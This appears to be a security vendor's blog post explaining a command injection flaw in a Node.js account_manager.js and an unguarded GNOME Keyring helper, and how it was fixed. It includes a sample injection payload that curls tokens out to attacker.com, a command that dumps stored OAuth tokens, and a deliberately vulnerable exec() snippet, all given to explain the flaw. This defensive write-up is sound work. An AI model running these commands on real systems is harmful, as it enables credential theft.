Back to Blog
high SEVERITY7 min read

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a command injection (CWE-78) affecting a Node.js application's `src/account_manager.js`, where a `file` argument sourced from function input was passed unsanitized to `child_process`. The companion `src/keyring_helper.py` GNOME Keyring helper also lacked authentication, allowing any local user to dump or clear stored credentials. The fix adds an `os.getuid()` vs `os.stat(__file__).st_uid` ownership check at the entry point of `keyring_helper.py`, blocking execution by any user other than the script's owner.

Vulnerability at a Glance

cweCWE-78
fixAdded OS-level owner check (`os.getuid() != os.stat(__file__).st_uid`) to restrict keyring helper execution to the script owner
riskLocal users can execute arbitrary OS commands or dump/clear stored OAuth credentials
languageJavaScript (Node.js) / Python
root causeUser-controllable `file` argument passed to child_process without validation; keyring CLI has no authentication gate
vulnerabilityCommand Injection via child_process / unauthenticated keyring CLI

How Child Process Command Injection Happens in Node.js and How to Fix It

Introduction

The src/account_manager.js file is responsible for managing account-level operations — a central, trusted component. But a flaw in how it invokes Node.js's child_process module created a high-severity command injection risk: a file argument sourced from function input was passed directly to child_process without any validation or sanitization.

Making matters worse, the helper script that account_manager.js depends on — src/keyring_helper.py — offered CLI commands (store, lookup, clear) to interact with the GNOME Keyring via D-Bus, but had no authentication mechanism whatsoever. Any local user with shell access could run:

python3 src/keyring_helper.py --action lookup --service gemini --username antigravity

…and walk away with stored OAuth tokens and credentials. No privilege escalation needed.

This post breaks down exactly how these two issues interact, how an attacker would exploit them, and what the fix does to close the door.


The Vulnerability Explained

The child_process Injection in account_manager.js

Node.js's child_process module is powerful — and dangerous when misused. The vulnerability here follows a classic pattern: a file variable derived from a function argument is passed into a child_process call without being validated against an allowlist or sanitized for shell metacharacters.

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process flags exactly this pattern:

// Vulnerable pattern in src/account_manager.js
const { exec } = require('child_process');

function runHelper(file) {
  exec(file);  // 'file' comes from a function argument — attacker-controlled
}

If file is ever influenced by external input (a request parameter, a config value read from disk, a CLI argument), an attacker can inject shell metacharacters:

../../evil_script.sh; curl http://attacker.com/exfil?token=$(cat ~/.config/tokens)

The Unauthenticated Keyring CLI in keyring_helper.py

The second half of this vulnerability is the keyring_helper.py script itself. It exposes three sensitive operations via argparse:

# Before fix — no access control whatsoever
parser.add_argument("--action", choices=["store", "lookup", "clear"], required=True)
parser.add_argument("--label", default="gemini")

Because account_manager.js spawns this script via child_process, a command injection in account_manager.js could directly invoke keyring_helper.py --action lookup to harvest credentials. But even without the Node.js injection path, any local user on the system could invoke the script directly.

Concrete attack scenario:

  1. Attacker gains a low-privilege shell (e.g., via a web shell in another service on the same host).
  2. They locate keyring_helper.py in the application directory.
  3. They run: python3 src/keyring_helper.py --action lookup --service gemini --username antigravity
  4. GNOME Keyring returns the stored OAuth token over D-Bus — no password prompt, no audit log.
  5. The attacker uses the token to authenticate as the application to external APIs.

The --action clear variant is equally dangerous as a denial-of-service: it wipes stored credentials, breaking the application's ability to authenticate until manually re-provisioned.


The Fix

The fix adds a single, effective gate at the very top of keyring_helper.py's main() function — an OS-level ownership check that ensures only the user who owns the script file can execute it:

Before

#!/usr/bin/env python3
import sys
import argparse
import dbus

def main():
    parser = argparse.ArgumentParser(description="GNOME Keyring DBus Helper")
    parser.add_argument("--action", choices=["store", "lookup", "clear"], required=True)
    parser.add_argument("--label", default="gemini")
    # ... proceeds immediately to keyring operations

After

#!/usr/bin/env python3
import sys
import os
import argparse
import dbus

def main():
    # Restrict execution to the script file's owner only
    if os.getuid() != os.stat(__file__).st_uid:
        print("ERROR: Permission denied - must be run as the script owner", file=sys.stderr)
        sys.exit(1)

    parser = argparse.ArgumentParser(description="GNOME Keyring DBus Helper")
    parser.add_argument("--action", choices=["store", "lookup", "clear"], required=True)
    parser.add_argument("--label", default="gemini")

How this works:

  • os.getuid() returns the UID of the currently running process.
  • os.stat(__file__).st_uid returns the UID of the user who owns the keyring_helper.py file itself.
  • If they don't match, the script exits immediately with a non-zero status code and a clear error message to stderr.

This means that even if an attacker finds a way to invoke the script (directly or via the child_process injection vector), they will be blocked unless they are already running as the application's service account — at which point they would have equivalent access anyway.

The fix is deliberately minimal: it touches only the entry point of the vulnerable execution path and does not alter any of the keyring interaction logic, preserving all valid use cases.


Prevention & Best Practices

For the child_process Issue in Node.js

1. Prefer spawn() with argument arrays over exec() with shell strings

// Dangerous — shell interprets the entire string
exec(`process_file ${file}`);

// Safer — arguments are passed as an array, no shell interpolation
const { spawn } = require('child_process');
spawn('process_file', [file], { shell: false });

2. Validate against an allowlist before any child_process call

const ALLOWED_HELPERS = new Set(['keyring_helper.py', 'token_refresh.py']);

function runHelper(file) {
  if (!ALLOWED_HELPERS.has(path.basename(file))) {
    throw new Error(`Disallowed helper: ${file}`);
  }
  spawn('python3', [path.resolve(__dirname, file)]);
}

3. Never interpolate user-controlled data into shell command strings. If you must use exec(), treat every external value as untrusted and validate it completely.

For the Keyring Helper

Beyond the ownership check, consider:

  • File permissions: Set chmod 700 on keyring_helper.py so only the owner can read or execute it.
  • Dedicated service account: Run the application as a dedicated non-root user. The keyring helper's owner check then automatically restricts it to that account.
  • Audit logging: Log every invocation of keyring_helper.py with the calling UID and action to a write-only audit log.
  • Avoid CLI exposure: Where possible, import the D-Bus keyring logic as a Python module rather than exposing it as a CLI tool, eliminating the shell-invocable attack surface entirely.

Detection Tools

Tool Rule / Plugin
Semgrep javascript.lang.security.detect-child-process
ESLint eslint-plugin-securitydetect-child-process
Bandit (Python) B602, B603
Orbis AppSec Automated SAST + PR fix

Relevant Standards

  • OWASP: Command Injection
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP ASVS: V5.3 — Output Encoding and Injection Prevention

Key Takeaways

  • The file argument in account_manager.js is a taint source — any value flowing from external input into that parameter and onward to child_process is a command injection waiting to happen.
  • keyring_helper.py was a credential exfiltration tool hiding in plain sight — its --action lookup subcommand would return OAuth tokens to anyone who ran it, with no questions asked.
  • The os.getuid() != os.stat(__file__).st_uid pattern is a practical, low-overhead access control layer for scripts that must remain executable but should be restricted to a specific service account.
  • CLI-exposed helper scripts expand your attack surface — every argparse-based script that touches secrets should be treated as a security boundary, not just a convenience tool.
  • Defense-in-depth matters here: fixing the keyring helper's access control reduces the blast radius of the child_process injection, even before the Node.js-side fix is applied.

How Orbis AppSec Detected This

  • Source: The file function argument in src/account_manager.js, potentially influenced by caller-supplied input
  • Sink: The child_process call site in src/account_manager.js that receives the unsanitized file value
  • Missing control: No allowlist validation, no input sanitization, and no shell-safe invocation pattern (spawn with argument array) before the child_process call; additionally, keyring_helper.py had no authentication or access control at its entry point
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added os.getuid() != os.stat(__file__).st_uid ownership check at the top of keyring_helper.py's main() function to block execution by non-owner users

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a textbook example of how two individually concerning issues — an unvalidated file argument reaching child_process in Node.js, and an unauthenticated credential-management CLI in Python — combine into a serious credential theft risk. The child_process call in account_manager.js provided the injection vector; the unguarded keyring_helper.py provided the payload.

The fix is surgical and effective: a two-line ownership check at the entry point of keyring_helper.py ensures that even if the injection path is triggered, the keyring helper will refuse to run for any user other than the application's own service account. Paired with the longer-term recommendation to replace exec() with spawn() and argument arrays in account_manager.js, this closes both sides of the attack.

If your codebase spawns helper scripts via child_process, audit every call site today. Ask: where does the file or command argument come from? Can it be influenced by anything outside your trust boundary? If the answer is "maybe," treat it as "yes."


References

Frequently Asked Questions

What is command injection via child_process in Node.js?

It occurs when user-controlled input is passed directly to Node.js's child_process module (e.g., exec, spawn, execFile) without sanitization, allowing an attacker to execute arbitrary OS commands.

How do you prevent child_process command injection in Node.js?

Avoid passing user input directly to child_process. If unavoidable, use allowlists to validate input, prefer spawn() with argument arrays over exec() with shell strings, and never interpolate user data into shell commands.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input escaping enough to prevent command injection in Node.js?

No. Escaping is error-prone and bypass-prone. The safest approach is to use spawn() with a fixed command and a validated argument array, or eliminate the child_process call entirely.

Can static analysis detect child_process command injection?

Yes. Tools like Semgrep (rule: javascript.lang.security.detect-child-process), ESLint security plugins, and SAST platforms like Orbis AppSec can flag unsafe child_process calls automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #28

Related Articles

high

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens

high

How Dependabot Missing Cooldown happens in GitHub Actions and how to fix it

A high-severity misconfiguration in `.github/dependabot.yml` left this Node.js library without a cooldown period on dependency updates, meaning Dependabot could immediately propose upgrades to newly published — potentially malicious or unstable — package versions. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, introducing a mandatory waiting period before any newly released version is surfaced as an update candidate. Because this project